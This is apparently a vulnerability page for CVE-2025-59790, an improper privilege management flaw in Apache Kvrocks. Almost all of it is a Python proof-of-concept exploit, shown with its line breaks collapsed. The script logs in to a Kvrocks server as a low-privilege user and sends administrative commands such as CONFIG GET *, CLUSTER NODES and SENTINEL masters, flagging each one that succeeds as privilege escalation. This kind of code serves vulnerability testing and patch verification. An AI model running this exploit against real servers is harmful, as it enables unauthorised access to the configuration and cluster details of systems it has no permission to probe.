CVE-2025-59790 Apache Kvrocks 权限管理不当漏洞

# CVE-2025-59790 PoC - Improper Privilege Management in Apache Kvrocks # Affected Versions: v2.9.0 - v2.13.0 # This PoC demonstrates privilege escalation through improper permission handling import socket import struct def send_redis_command(sock, *args): """Send a Redis protocol command""" cmd = f"*{len(args)}\r\n" for arg in args: cmd += f"${len(str(arg))}\r\n{arg}\r\n" sock.sendall(cmd.encode()) return sock.recv(4096).decode() def exploit_kvrocks_privilege_escalation(host, port, low_priv_user, low_priv_pass): """ Exploit improper privilege management in Apache Kvrocks to perform actions beyond assigned privileges """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Authenticate as low-privilege user auth_response = send_redis_command(sock, 'AUTH', low_priv_user, low_priv_pass) if 'OK' not in auth_response: print(f"[-] Authentication failed: {auth_response}") return False print(f"[+] Authenticated as low-privilege user: {low_priv_user}") # Attempt to execute high-privilege operations # These should be blocked but due to the vulnerability may succeed high_priv_commands = [ ('CONFIG', 'GET', '*'), ('INFO', 'server'), ('CLUSTER', 'NODES'), ('SENTINEL', 'masters') ] for cmd in high_priv_commands: response = send_redis_command(sock, *cmd) if 'error' not in response.lower(): print(f"[+] Command {cmd} executed successfully (PRIVILEGE ESCALATION)") print(f" Response: {response[:200]}...") else: print(f"[-] Command {cmd} blocked") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False # Usage if __name__ == "__main__": TARGET_HOST = "target-kvrocks-server" TARGET_PORT = 6666 print("CVE-2025-59790 - Apache Kvrocks Improper Privilege Management") print("=" * 60) exploit_kvrocks_privilege_escalation(TARGET_HOST, TARGET_PORT, "limited_user", "user_password")